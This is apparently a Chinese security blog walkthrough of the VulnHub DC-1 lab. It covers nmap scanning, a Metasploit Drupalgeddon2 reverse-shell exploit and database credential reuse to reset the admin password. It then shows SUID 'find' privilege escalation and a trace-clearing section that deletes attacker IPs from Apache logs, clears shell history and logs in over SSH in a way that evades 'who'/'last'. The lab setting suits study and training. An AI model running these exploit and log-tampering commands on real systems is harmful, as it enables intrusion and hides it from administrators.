前言
博客主页:【h0ck1r丶羽】的公众号~~
由于传播、利用本公众小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!
本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。
环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
攻击机:kali,自行准备
信息收集
开启靶机,切换net/桥接模式
nmap探测主机存活80/sP探测
nmap的基本使用,以及高级用法文章参考:
nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式
# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。
靶机端口扫描,开放了22、80、111、34471端口
nmap 192.168.209.157 -p- -v
访问http服务的80端口,进入到web界面,有一个登录
sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入
注册一个用户试试,他还要发送邮件,并没有让我们填写密码
需要批准之后才能注册用户
由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用
访问
也没发现什么有用的内容
在这里没用,应该是一个api接口
还有一些七七八八的就不看了,基本没啥作用的
漏洞探测
使用whatweb
(kali自带)指纹识别,找到目标cms的版本和其他信息
whatweb -v 192.168.209.157
msf漏洞利用
msf漏洞利用神器,直接搜索Drupal
这些模块
msfconsole search Drupal
使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的
show payloads
我们使用第二个模块试试
use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload
发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中
设置payload为tcp反弹shell
set payload payload/php/meterpreter/reverse_tcp
当然也可以使用tcp正向连接
set payload payload/php/meterpreter/bind_tcp
他们的区别
正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听
反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。
主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping
这里就使用反向连接来测试
如果出现如下错误多半是防火墙端口没有放行
就是配置下的本地监听端口
使用iptables放行端口
sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
这个时候重新开始攻击即可
run getuid
后渗透
查看系统信息
sysinfo
获取shell
shell
上面终端显示的样子不好看,使用python调用系统终端
python -c "import pty;pty.spawn('/bin/bash')"
这样子就好看多了
找到flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下
find . -name 'set*'
又给了你一个提示
What can you do with these credentials?
你能用这些凭证做什么?
$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );
那当然是连接本地数据库咯
mysql -udbuser -pR0ck3t
查看所有数据库
切换到这个站点的数据库,并查看有什么表
use drupaldb show tables;
找到有一个users表
里面包含用户名/密码信息
select * from users;
这样子不好看,那么我们就加一个\G
select * from users\G;
不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了
从当前站点目录查找这个文件,并发现有一个password-hash.sh文件
find . -name '*hash*'
在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示
那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?
把他复制下来
$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq
进入mysql
mysql -udbuser -pR0ck3t
修改密码
update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';
登录成功了!
这里我们就找到了flag3
点进去找到这个,提示我们去passwd文件看看
提示我们去passwd,找到flag4
cat /etc/passwd
切换flag4用户下的目录
查看这个文件的权限,尝试追加用户提权,但是只能root读写
find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。
使用find提权
find / -exec "/bin/bash" -p \;
提权成功,找到了最后一个flag
痕迹清除
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)
1、中间件日志清除
对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
find / -name 'access*'
查看都有一些什么内容
cat /var/log/apache2/access.log
筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录
sed -i '/192.168.209.1/d' /var/log/apache2/access.log
这条命令会直接在原文件中删除所有包含
192.168.209.1
的行。-i
选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志
cat /var/log/apache2/access.log
可以看到连同kali(192.168.209.151)的日志一起清除成功了
同理正常请求日志清除了,错误请求日志也要删除吧
find / -name 'error*'
cat /var/log/apache2/error.log
一大堆kali攻击日志
同理直接使用sed更改
sed -i '/192.168.209.1/d' /var/log/apache2/error.log
清除成功!
2、密码还原
对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧
登录数据库
mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
3、清除数据库日志
没有权限
查看日志状态
show variables like '%log%';
general_log
是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。
当
general_log
设置为ON
时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file
指定的文件中。当
general_log
设置为OFF
时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志
slow_query_log
看图也是关闭的
当
slow_query_log
设置为ON
时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是hostname-slow.log
。当
slow_query_log
设置为OFF
时,MySQL 不会记录慢查询。
找到这两个日志文件路径,看看有没有,很好没有,这一步跳过
4、清除命令历史
查看自己曾经输入过的命令
history
history -c # 清除命令历史
5、登录日志
这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
6、nmap扫描日志
nmap扫描时,如果你指定了输出文件(例如使用-oN
选项),确保删除这些文件。
清除临时文件,如/tmp
,查看是否有nmap相关的临时文件,并将其删除。
7、更多
我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知
扩展知识
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
往期文章推荐:
【h0ck1r丶羽】的公众号~~